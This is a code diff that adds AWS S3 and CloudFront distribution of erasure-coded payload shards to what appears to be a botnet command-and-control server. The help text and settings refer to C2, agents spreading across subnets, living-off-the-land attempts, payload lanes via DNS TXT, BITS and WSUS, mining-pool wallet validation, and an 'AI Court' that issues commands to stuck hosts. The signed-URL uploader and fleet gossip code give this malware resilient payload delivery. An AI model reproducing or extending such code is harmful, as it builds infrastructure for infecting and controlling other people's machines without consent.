+ spreadPolicy[k] = v + } + } if len(spreadPolicy) > 0 { resp["spread_policy"] = spreadPolicy } diff --git a/server/internal/atlas/fleet_gossip.go b/server/internal/atlas/fleet_gossip.go index 81700a4..c443aeb 100644 --- a/server/internal/atlas/fleet_gossip.go +++ b/server/internal/atlas/fleet_gossip.go @@ -1,17 +1,16 @@ package atlas import ( + "fmt" "strings" ) -// Fleet gossip kinds — shard DHT advertisements relayed fleet-wide (not LAN-only). const ( FleetGossipHaveShard = "have_shard" FleetGossipHealthy = "healthy" FleetGossipKnowNode = "know_node" ) -// FleetGossipRecord is one peer advertisement in the fleet torrent DHT. type FleetGossipRecord struct { Kind string `json:"kind"` AgentID string `json:"agent_id,omitempty"` @@ -19,18 +18,21 @@ type FleetGossipRecord struct { Token string `json:"token,omitempty"` ShardIndex int `json:"shard_index,omitempty"` ShardHash string `json:"shard_hash,omitempty"` + Region string `json:"region,omitempty"` + ShardAdvert string `json:"shard_advert,omitempty"` TargetAgentID string `json:"target_agent_id,omitempty"` Healthy bool `json:"healthy,omitempty"` FetchURL string `json:"fetch_url,omitempty"` } -// NormalizeFleetGossipRecord validates and trims one fleet gossip record. func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) { r.Kind = strings.TrimSpace(strings.ToLower(r.Kind)) r.AgentID = strings.TrimSpace(r.AgentID) r.Subnet = strings.TrimSpace(r.Subnet) r.Token = strings.TrimSpace(r.Token) r.ShardHash = strings.TrimSpace(strings.ToLower(r.ShardHash)) + r.Region = strings.TrimSpace(r.Region) + r.ShardAdvert = strings.TrimSpace(r.ShardAdvert) r.TargetAgentID = strings.TrimSpace(r.TargetAgentID) r.FetchURL = strings.TrimSpace(r.FetchURL) switch r.Kind { @@ -38,6 +40,17 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) { if r.AgentID == "" || r.Token == "" || r.ShardHash == "" { return FleetGossipRecord{}, false } + if r.Region == "" && r.ShardAdvert != "" { + if region, idx, ok := parseShardAdvert(r.ShardAdvert); ok { + r.Region = region + if r.ShardIndex == 0 { + r.ShardIndex = idx + } + } + } + if r.ShardAdvert == "" && r.Region != "" { + r.ShardAdvert = fmt.Sprintf("%s:%d", r.Region, r.ShardIndex) + } case FleetGossipHealthy: if r.AgentID == "" { return FleetGossipRecord{}, false @@ -52,7 +65,6 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) { return r, true } -// NormalizeFleetGossipRecords drops invalid records while preserving order. func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord { if len(in) == 0 { return nil @@ -65,3 +77,15 @@ func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord { } return out } + +func parseShardAdvert(advert string) (region string, index int, ok bool) { + colon := strings.LastIndex(strings.TrimSpace(advert), ":") + if colon <= 0 { + return "", 0, false + } + region = strings.TrimSpace(advert[:colon]) + if _, err := fmt.Sscanf(strings.TrimSpace(advert[colon+1:]), "%d", &index); err != nil { + return "", 0, false + } + return region, index, region != "" +} diff --git a/server/internal/atlas/fleet_gossip_test.go b/server/internal/atlas/fleet_gossip_test.go index 6201579..a46168a 100644 --- a/server/internal/atlas/fleet_gossip_test.go +++ b/server/internal/atlas/fleet_gossip_test.go @@ -2,15 +2,12 @@ package atlas import "testing" -func TestNormalizeFleetGossipRecords(t *testing.T) { - in := []FleetGossipRecord{ - {Kind: FleetGossipHaveShard, AgentID: "a", Token: "tok", ShardHash: "abc"}, - {Kind: "bogus"}, - {Kind: FleetGossipHealthy, AgentID: "b", Healthy: true}, - {Kind: FleetGossipKnowNode, AgentID: "a", TargetAgentID: "c"}, - } - out := NormalizeFleetGossipRecords(in) - if len(out) != 3 { - t.Fatalf("got %d records", len(out)) +func TestNormalizeFleetGossipShardAdvert(t *testing.T) { + r, ok := NormalizeFleetGossipRecord(FleetGossipRecord{ + Kind: FleetGossipHaveShard, AgentID: "a", Token: "t", ShardHash: "h", + Region: "us-west-2", ShardIndex: 4, + }) + if !ok || r.ShardAdvert != "us-west-2:4" { + t.Fatalf("advert=%q", r.ShardAdvert) } } diff --git a/server/internal/erasure/lanes.go b/server/internal/erasure/lanes.go index dc3c45a..b988aba 100644 --- a/server/internal/erasure/lanes.go +++ b/server/internal/erasure/lanes.go @@ -14,9 +14,10 @@ var parallelLaneOrder = []string{ // ShardRef is one erasure shard served on a parallel lane URL. type ShardRef struct { - Index int `json:"index"` - Lane string `json:"lane"` - URL string `json:"url"` + Index int `json:"index"` + Lane string `json:"lane"` + URL string `json:"url"` + EdgeURL string `json:"edge_url,omitempty"` } // Plan is deploy-plan metadata for agent-side Reed–Solomon reassembly. diff --git a/server/internal/erasure/s3_swarm.go b/server/internal/erasure/s3_swarm.go new file mode 100644 index 0000000..00787fb --- /dev/null +++ b/server/internal/erasure/s3_swarm.go @@ -0,0 +1,284 @@ +package erasure + +import ( + "bytes" + "context" + "crypto" + "crypto/rand" + "crypto/hmac" + "crypto/sha1" + "crypto/rsa" + "crypto/sha256" + "crypto/x509" + "encoding/base64" + "encoding/hex" + "encoding/pem" + "fmt" + "io" + "net/http" + "net/url" + "os" + "sort" + "strings" + "time" +) + +type AWSSwarmSettings struct { + S3Bucket, CloudFrontDomain, Region, AccessKeyID, SecretAccessKey, KeyPairID, PrivateKeyPEM string +} + +func (s AWSSwarmSettings) Enabled() bool { + return strings.TrimSpace(s.S3Bucket) != "" && strings.TrimSpace(s.CloudFrontDomain) != "" +} +func (s AWSSwarmSettings) CredentialsReady() bool { + return s.Enabled() && strings.TrimSpace(s.AccessKeyID) != "" && strings.TrimSpace(s.SecretAccessKey) != "" +} +func (s AWSSwarmSettings) SigningReady() bool { + return s.Enabled() && strings.TrimSpace(s.KeyPairID) != "" && strings.TrimSpace(s.PrivateKeyPEM) != "" +} + +func HydrateAWSSwarmFromEnv(s AWSSwarmSettings) AWSSwarmSettings { + if v := strings.TrimSpace(os.Getenv("AF_AWS_ACCESS_KEY_ID")); v != "" && s.AccessKeyID == "" { + s.AccessKeyID = v + } + if v := strings.TrimSpace(os.Getenv("AF_AWS_SECRET_ACCESS_KEY")); v != "" && s.SecretAccessKey == "" { + s.SecretAccessKey = v + } + if v := strings.TrimSpace(os.Getenv("AF_AWS_REGION")); v != "" && s.Region == "" { + s.Region = v + } + if v := strings.TrimSpace(os.Getenv("AF_CLOUDFRONT_KEY_PAIR_ID")); v != "" && s.KeyPairID == "" { + s.KeyPairID = v + } + if v := strings.TrimSpace(os.Getenv("AF_CLOUDFRONT_PRIVATE_KEY")); v != "" && s.PrivateKeyPEM == "" { + s.PrivateKeyPEM = strings.ReplaceAll(v, `\n`, "\n") + } + if s.Region == "" { + s.Region = "us-east-1" + } + s.S3Bucket = strings.TrimSpace(s.S3Bucket) + s.CloudFrontDomain = strings.TrimRight(strings.TrimSpace(s.CloudFrontDomain), "/") + return s +} + +type ShardObjectStore interface { + PutShard(ctx context.Context, bucket, key string, body []byte) error + HeadBucket(ctx context.Context, bucket string) error +} + +type S3HTTPStore struct { + Settings AWSSwarmSettings + Endpoint string + Client interface{ Do(*http.Request) (*http.Response, error) } +} + +func (s *S3HTTPStore) client() interface{ Do(*http.Request) (*http.Response, error) } { + if s != nil && s.Client != nil { + return s.Client + } + return http.DefaultClient +} + +func (s *S3HTTPStore) endpoint(bucket string) string { + if s != nil && strings.TrimSpace(s.Endpoint) != "" { + return strings.TrimRight(strings.TrimSpace(s.Endpoint), "/") + } + region := strings.TrimSpace(s.Settings.Region) + if region == "" { + region = "us-east-1" + } + return fmt.Sprintf("https://%s.s3.%s.amazonaws.com", bucket, region) +} + +func (s *S3HTTPStore) HeadBucket(ctx context.Context, bucket string) error { + u := s.endpoint(bucket) + "/" + req, _ := http.NewRequestWithContext(ctx, http.MethodHead, u, nil) + signS3Request(req, s.Settings, bucket, "", nil) + resp, err := s.client().Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + if resp.StatusCode < 300 { + return nil + } + return fmt.Errorf("s3 head bucket HTTP %d", resp.StatusCode) +} + +func (s *S3HTTPStore) PutShard(ctx context.Context, bucket, key string, body []byte) error { + u := s.endpoint(bucket) + "/" + strings.TrimLeft(key, "/") + req, _ := http.NewRequestWithContext(ctx, http.MethodPut, u, bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/octet-stream") + signS3Request(req, s.Settings, bucket, key, body) + resp, err := s.client().Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + if resp.StatusCode < 300 { + return nil + } + b, _ := io.ReadAll(io.LimitReader(resp.Body, 512)) + return fmt.Errorf("s3 put HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(b))) +} + +type SwarmAttachResult struct { + EdgeURLs, ShardManifestURLs []string + SwarmMagnet string +} + +func AttachS3Swarm(ctx context.Context, cfg AWSSwarmSettings, store ShardObjectStore, token, payloadSHA string, payloadSize int, p Params, shards [][]byte, hashes []string) (*SwarmAttachResult, error) { + cfg = HydrateAWSSwarmFromEnv(cfg) + if !cfg.Enabled() { + return nil, nil + } + if store == nil { + store = &S3HTTPStore{Settings: cfg} + } + p, err := p.Normalize() + if err != nil { + return nil, err + } + region := strings.TrimSpace(cfg.Region) + if region == "" { + region = "us-east-1" + } + edgeURLs := make([]string, p.TotalShards()) + for i := range shards { + key := S3ShardKey(token, region, i, hashes[i]) + if err := store.PutShard(ctx, cfg.S3Bucket, key, shards[i]); err != nil { + return nil, err + } + edge, err := CloudFrontSignedShardURL(cfg, "/"+key, 24*time.Hour) + if err != nil { + return nil, err + } + edgeURLs[i] = edge + } + return &SwarmAttachResult{EdgeURLs: edgeURLs, ShardManifestURLs: append([]string(nil), edgeURLs...), SwarmMagnet: SwarmMagnetLinkEx(token, payloadSHA, edgeURLs)}, nil +} + +func CloudFrontSignedShardURL(cfg AWSSwarmSettings, objectPath string, ttl time.Duration) (string, error) { + cfg = HydrateAWSSwarmFromEnv(cfg) + if !cfg.SigningReady() { + return "", fmt.Errorf("cloudfront signing not configured") + } + domain := cfg.CloudFrontDomain + if !strings.HasPrefix(domain, "http") { + domain = "https://" + domain + } + return signCloudFrontURL(strings.TrimRight(domain, "/")+"/"+strings.TrimLeft(objectPath, "/"), cfg.KeyPairID, cfg.PrivateKeyPEM, time.Now().Add(ttl).Unix()) +} + +func signCloudFrontURL(rawURL, keyPairID, pemKey string, expires int64) (string, error) { + block, _ := pem.Decode([]byte(pemKey)) + if block == nil { + return "", fmt.Errorf("invalid PEM") + } + keyAny, err := x509.ParsePKCS8PrivateKey(block.Bytes) + if err != nil { + keyAny, err = x509.ParsePKCS1PrivateKey(block.Bytes) + if err != nil { + return "", err + } + } + priv, ok := keyAny.(*rsa.PrivateKey) + if !ok { + return "", fmt.Errorf("not RSA key") + } + canned := fmt.Sprintf("%s?Expires=%d", rawURL, expires) + hash := sha1.Sum([]byte(canned)) + sig, err := rsa.SignPKCS1v15(rand.Reader, priv, crypto.SHA1, hash[:]) + if err != nil { + return "", err + } + u, _ := url.Parse(rawURL) + q := u.Query() + q.Set("Expires", fmt.Sprintf("%d", expires)) + q.Set("Signature", base64URLEncode(sig)) + q.Set("Key-Pair-Id", keyPairID) + u.RawQuery = q.Encode() + return u.String(), nil +} + +func MinimalIAMPolicyJSON(bucket string) string { + if bucket == "" { + bucket = "YOUR_SHARD_BUCKET" + } + return fmt.Sprintf(`{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:PutObject","s3:GetObject","s3:ListBucket"],"Resource":["arn:aws:s3:::%s","arn:aws:s3:::%s/shards/*"]}]}`, bucket, bucket) +} + +func MinimalBucketPolicyJSON(bucket, cfARN string) string { + if cfARN == "" { + cfARN = "arn:aws:cloudfront::ACCOUNT_ID:distribution/DISTRIBUTION_ID" + } + return fmt.Sprintf(`{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"cloudfront.amazonaws.com"},"Action":"s3:GetObject","Resource":"arn:aws:s3:::%s/shards/*","Condition":{"StringEquals":{"AWS:SourceArn":"%s"}}}]}`, bucket, cfARN) +} + +func SwarmMagnetLinkEx(token, payloadSHA string, edgeURLs []string) string { + base := SwarmMagnetLink(token, payloadSHA) + if base == "" || len(edgeURLs) == 0 { + return base + } + sort.Strings(edgeURLs) + for _, u := range edgeURLs { + if strings.TrimSpace(u) != "" { + base += "&xs=" + url.QueryEscape(strings.TrimSpace(u)) + } + } + return base +} + +func signS3Request(req *http.Request, cfg AWSSwarmSettings, _, objectKey string, body []byte) { + region := cfg.Region + if region == "" { + region = "us-east-1" + } + now := time.Now().UTC() + amzDate := now.Format("20060102T150405Z") + dateStamp := now.Format("20060102") + payloadHash := hex.EncodeToString(hashPayload(body)) + req.Header.Set("Host", req.URL.Host) + req.Header.Set("X-Amz-Date", amzDate) + req.Header.Set("X-Amz-Content-Sha256", payloadHash) + canonicalURI := "/" + if objectKey != "" { + canonicalURI = "/" + escapePath(objectKey) + } + canonicalHeaders := "host:" + req.URL.Host + "\n" + "x-amz-content-sha256:" + payloadHash + "\n" + "x-amz-date:" + amzDate + "\n" + canonicalRequest := strings.Join([]string{req.Method, canonicalURI, "", canonicalHeaders, "host;x-amz-content-sha256;x-amz-date", payloadHash}, "\n") + scope := dateStamp + "/" + region + "/s3/aws4_request" + stringToSign := strings.Join([]string{"AWS4-HMAC-SHA256", amzDate, scope, hex.EncodeToString(hashString(canonicalRequest))}, "\n") + sig := hex.EncodeToString(hmacSHA256(deriveSigningKey(cfg.SecretAccessKey, dateStamp, region, "s3"), stringToSign)) + req.Header.Set("Authorization", fmt.Sprintf("AWS4-HMAC-SHA256 Credential=%s/%s, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=%s", cfg.AccessKeyID, scope, sig)) +} + +func hashPayload(b []byte) []byte { + if b == nil { + return hashString("") + } + s := sha256.Sum256(b) + return s[:] +} +func hashString(s string) []byte { h := sha256.Sum256([]byte(s)); return h[:] } +func hmacSHA256(key []byte, msg string) []byte { + m := hmac.New(sha256.New, key) + m.Write([]byte(msg)) + return m.Sum(nil) +} +func deriveSigningKey(secret, date, region, svc string) []byte { + kDate := hmacSHA256([]byte("AWS4"+secret), date) + kRegion := hmacSHA256(kDate, region) + kService := hmacSHA256(kRegion, svc) + return hmacSHA256(kService, "aws4_request") +} +func escapePath(p string) string { + parts := strings.Split(p, "/") + for i, s := range parts { + parts[i] = url.PathEscape(s) + } + return strings.Join(parts, "/") +} +func base64URLEncode(b []byte) string { + return strings.NewReplacer("+", "-", "=", "_", "/", "~").Replace(base64.StdEncoding.EncodeToString(b)) +} diff --git a/server/internal/erasure/s3_swarm_test.go b/server/internal/erasure/s3_swarm_test.go new file mode 100644 index 0000000..943ebfe --- /dev/null +++ b/server/internal/erasure/s3_swarm_test.go @@ -0,0 +1,70 @@ +package erasure + +import ( + "context" + "crypto/rand" + "crypto/rsa" + "crypto/x509" + "encoding/pem" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" +) + +type mockShardStore struct { + puts []string +} + +func (m *mockShardStore) PutShard(_ context.Context, bucket, key string, _ []byte) error { + m.puts = append(m.puts, bucket+"/"+key) + return nil +} +func (m *mockShardStore) HeadBucket(context.Context, string) error { return nil } + +func TestAttachS3SwarmUploadsSixShards(t *testing.T) { + priv, _ := rsa.GenerateKey(rand.Reader, 2048) + pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)}) + store := &mockShardStore{} + cfg := HydrateAWSSwarmFromEnv(AWSSwarmSettings{ + S3Bucket: "my-bucket", CloudFrontDomain: "d123.cloudfront.net", Region: "us-east-1", + AccessKeyID: "AKIA", SecretAccessKey: "secret", KeyPairID: "KPAIR", PrivateKeyPEM: string(pemBytes), + }) + shards := [][]byte{[]byte("a"), []byte("b"), []byte("c"), []byte("d"), []byte("e"), []byte("f")} + hashes := ShardContentHashes(shards) + result, err := AttachS3Swarm(context.Background(), cfg, store, "tok", "deadbeef", 6, DefaultParams(), shards, hashes) + if err != nil || len(store.puts) != 6 || result == nil || !strings.Contains(result.SwarmMagnet, "xs=") { + t.Fatalf("err=%v puts=%d result=%+v", err, len(store.puts), result) + } +} + +func TestS3HTTPStorePutShardSigV4(t *testing.T) { + var method, auth string + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + method = r.Method + auth = r.Header.Get("Authorization") + w.WriteHeader(http.StatusOK) + })) + defer srv.Close() + store := &S3HTTPStore{ + Settings: AWSSwarmSettings{S3Bucket: "b", Region: "us-east-1", AccessKeyID: "A", SecretAccessKey: "s"}, + Endpoint: srv.URL, + } + if err := store.PutShard(context.Background(), "b", "shards/tok/us-east-1/0-ab.bin", []byte("x")); err != nil { + t.Fatal(err) + } + if method != http.MethodPut || !strings.HasPrefix(auth, "AWS4-HMAC-SHA256") { + t.Fatalf("method=%s auth=%q", method, auth) + } +} + +func TestCloudFrontSignedShardURL(t *testing.T) { + priv, _ := rsa.GenerateKey(rand.Reader, 2048) + pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)}) + cfg := AWSSwarmSettings{S3Bucket: "b", CloudFrontDomain: "d.cf.net", KeyPairID: "K", PrivateKeyPEM: string(pemBytes)} + u, err := CloudFrontSignedShardURL(cfg, "/shards/tok/us-east-1/0-ab.bin", time.Hour) + if err != nil || !strings.Contains(u, "Expires=") { + t.Fatalf("url=%q err=%v", u, err) + } +} diff --git a/server/web/src/components/Forge/AwsErasureSwarmPanel.test.tsx b/server/web/src/components/Forge/AwsErasureSwarmPanel.test.tsx new file mode 100644 index 0000000..66c4842 --- /dev/null +++ b/server/web/src/components/Forge/AwsErasureSwarmPanel.test.tsx @@ -0,0 +1,63 @@ +import { describe, expect, it, vi, beforeEach, afterEach } from 'vitest'; +import { render, screen, fireEvent, waitFor, cleanup } from '@testing-library/react'; +import AwsErasureSwarmPanel from './AwsErasureSwarmPanel'; + +vi.mock('../../api/client', () => ({ + api: { + updateConfig: vi.fn().mockResolvedValue({}), + testErasureSwarm: vi.fn().mockResolvedValue({ ok: true }), + getErasureSwarmPolicyJSON: vi.fn().mockResolvedValue({ iam_policy: '{}', bucket_policy: '{}', env_keys: [] }), + }, +})); + +import { api } from '../../api/client'; + +const baseServer = { + public_url: '', + stats_retention_hours: 168, + build_retention_days: 7, + pool_reconnect_seconds: 30, + websocket_ping_seconds: 30, + max_agents: 500, + max_build_size_mb: 50, + log_agent_connections: false, + log_share_submissions: false, + log_pool_traffic: false, + strict_wallet_validation: true, + dashboard_subtitle: '', + open_firewall_on_start: false, + aws_s3_shard_bucket: 'b', + aws_cloudfront_domain: 'd.cf.net', +}; + +describe('AwsErasureSwarmPanel', () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + afterEach(() => { + cleanup(); + }); + + it('renders bucket and CloudFront inputs', () => { + render( {}} />); + expect(screen.getByDisplayValue('b')).toBeTruthy(); + expect(screen.getByDisplayValue('d.cf.net')).toBeTruthy(); + expect(screen.getByText(/AWS Erasure Swarm/i)).toBeTruthy(); + }); + + it('calls test endpoint on Test connection', async () => { + render( {}} />); + fireEvent.click(screen.getByRole('button', { name: /Test connection/i })); + await waitFor(() => { + expect(api.testErasureSwarm).toHaveBeenCalledWith({ s3_bucket: 'b', cloudfront_domain: 'd.cf.net' }); + }); + }); + + it('loads policy JSON on button click', async () => { + render( {}} />); + fireEvent.click(screen.getByRole('button', { name: /Generate policy JSON/i })); + await waitFor(() => { + expect(api.getErasureSwarmPolicyJSON).toHaveBeenCalled(); + }); + }); +}); diff --git a/server/web/src/components/Forge/AwsErasureSwarmPanel.tsx b/server/web/src/components/Forge/AwsErasureSwarmPanel.tsx new file mode 100644 index 0000000..05036b8 --- /dev/null +++ b/server/web/src/components/Forge/AwsErasureSwarmPanel.tsx @@ -0,0 +1,87 @@ +import { useState } from 'react'; +import { api } from '../../api/client'; +import type { ServerSettings } from '../../types'; +import { HelpTip } from '../HelpTip'; + +type Props = { + server: ServerSettings; + onServerChange: (patch: Partial) => void; +}; + +export default function AwsErasureSwarmPanel({ server, onServerChange }: Props) { + const [testing, setTesting] = useState(false); + const [testMsg, setTestMsg] = useState(''); + const [policyJSON, setPolicyJSON] = useState(''); + + const bucket = server.aws_s3_shard_bucket ?? ''; + const cfDomain = server.aws_cloudfront_domain ?? ''; + + const saveFields = async (patch: Partial) => { + onServerChange(patch); + await api.updateConfig({ server: { ...server, ...patch } }); + }; + + const runTest = async () => { + setTesting(true); + setTestMsg(''); + try { + const res = await api.testErasureSwarm({ s3_bucket: bucket, cloudfront_domain: cfDomain }); + setTestMsg(res.ok ? 'S3 head bucket OK — credentials and signing ready.' : (res.error || 'Test failed')); + } catch (e) { + setTestMsg(e instanceof Error ? e.message : 'Test failed'); + } finally { + setTesting(false); + } + }; + + const loadPolicy = async () => { + setPolicyJSON(''); + try { + const res = await api.getErasureSwarmPolicyJSON(bucket); + setPolicyJSON(JSON.stringify(res, null, 2)); + } catch (e) { + setPolicyJSON(e instanceof Error ? e.message : 'Failed to load policy JSON'); + } + }; + + return ( +
+

AWS Erasure Swarm

+

+ Upload RS 4+2 shards to S3 on deploy plans; agents fetch LAN → CloudFront → C2. + Credentials via env: AF_AWS_*, AF_CLOUDFRONT_*. + +

+ + onServerChange({ aws_s3_shard_bucket: e.target.value })} + onBlur={() => saveFields({ aws_s3_shard_bucket: bucket })} + placeholder="my-fleet-shards" + /> + + onServerChange({ aws_cloudfront_domain: e.target.value })} + onBlur={() => saveFields({ aws_cloudfront_domain: cfDomain })} + placeholder="d123abc.cloudfront.net" + /> +
+ + +
+ {testMsg &&

{testMsg}

} + {policyJSON && ( + 
+          {policyJSON}
+
+ )} +
+ ); +} diff --git a/server/web/src/help/settingHelp.test.ts b/server/web/src/help/settingHelp.test.ts index ed6c446..1c14dce 100644 --- a/server/web/src/help/settingHelp.test.ts +++ b/server/web/src/help/settingHelp.test.ts @@ -109,6 +109,7 @@ describe('FIELD_HELP', () => { 'failure_atlas', 'erasure_lanes', 'fleet_torrent', + 'aws_erasure_swarm', 'ai_court_session', 'ai_persona', 'ai_persona_aggressive', diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index c2f0ff0..ec5f9ab 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -48,6 +48,8 @@ export const FIELD_HELP: Record = { 'Optional Reed–Solomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.', fleet_torrent: 'Fleet Torrent extends erasure with a content-addressed shard DHT across seeder-role agents. One primary seeder per /24 (subnet_primary_seeder on auth). fleet_torrent_gossip relays have_shard / healthy / know_node fleet-wide (cross-subnet). BGP spread_route_hint attaches swarm_magnet + shard_manifest_urls. C2 super-seeder holds canonical shards at /api/v1/public/erasure-torrent/{token}/manifest. Zero-server mode uses last policy snapshot + 30m HTTPS reconnect.', + aws_erasure_swarm: + 'Standalone AWS erasure swarm: deploy plans upload RS 4+2 shards to your S3 bucket and sign CloudFront URLs into BGP swarm_magnet web-seeds. Set aws_s3_shard_bucket + aws_cloudfront_domain in server config; supply AF_AWS_ACCESS_KEY_ID, AF_AWS_SECRET_ACCESS_KEY, AF_AWS_REGION, AF_CLOUDFRONT_KEY_PAIR_ID, AF_CLOUDFRONT_PRIVATE_KEY on the server host. Agents fetch LAN peers → signed CloudFront edge_url → C2 public shard. No signup flows.', ai_court_session: 'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.', calibration_ai_control: diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 11676b1..bdeb431 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -27,6 +27,7 @@ import { type ForgeDeliverable, } from '../help/forgeFormNormalize'; import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints'; +import AwsErasureSwarmPanel from '../components/Forge/AwsErasureSwarmPanel'; import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal'; import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager'; import DownloadButton from '../components/DownloadButton'; @@ -3082,6 +3083,17 @@ export default function BuilderPage() { + {calibrateConfig?.server && ( + + setCalibrateConfig((prev) => + prev ? { ...prev, server: { ...prev.server, ...patch } } : prev, + ) + } + /> + )} +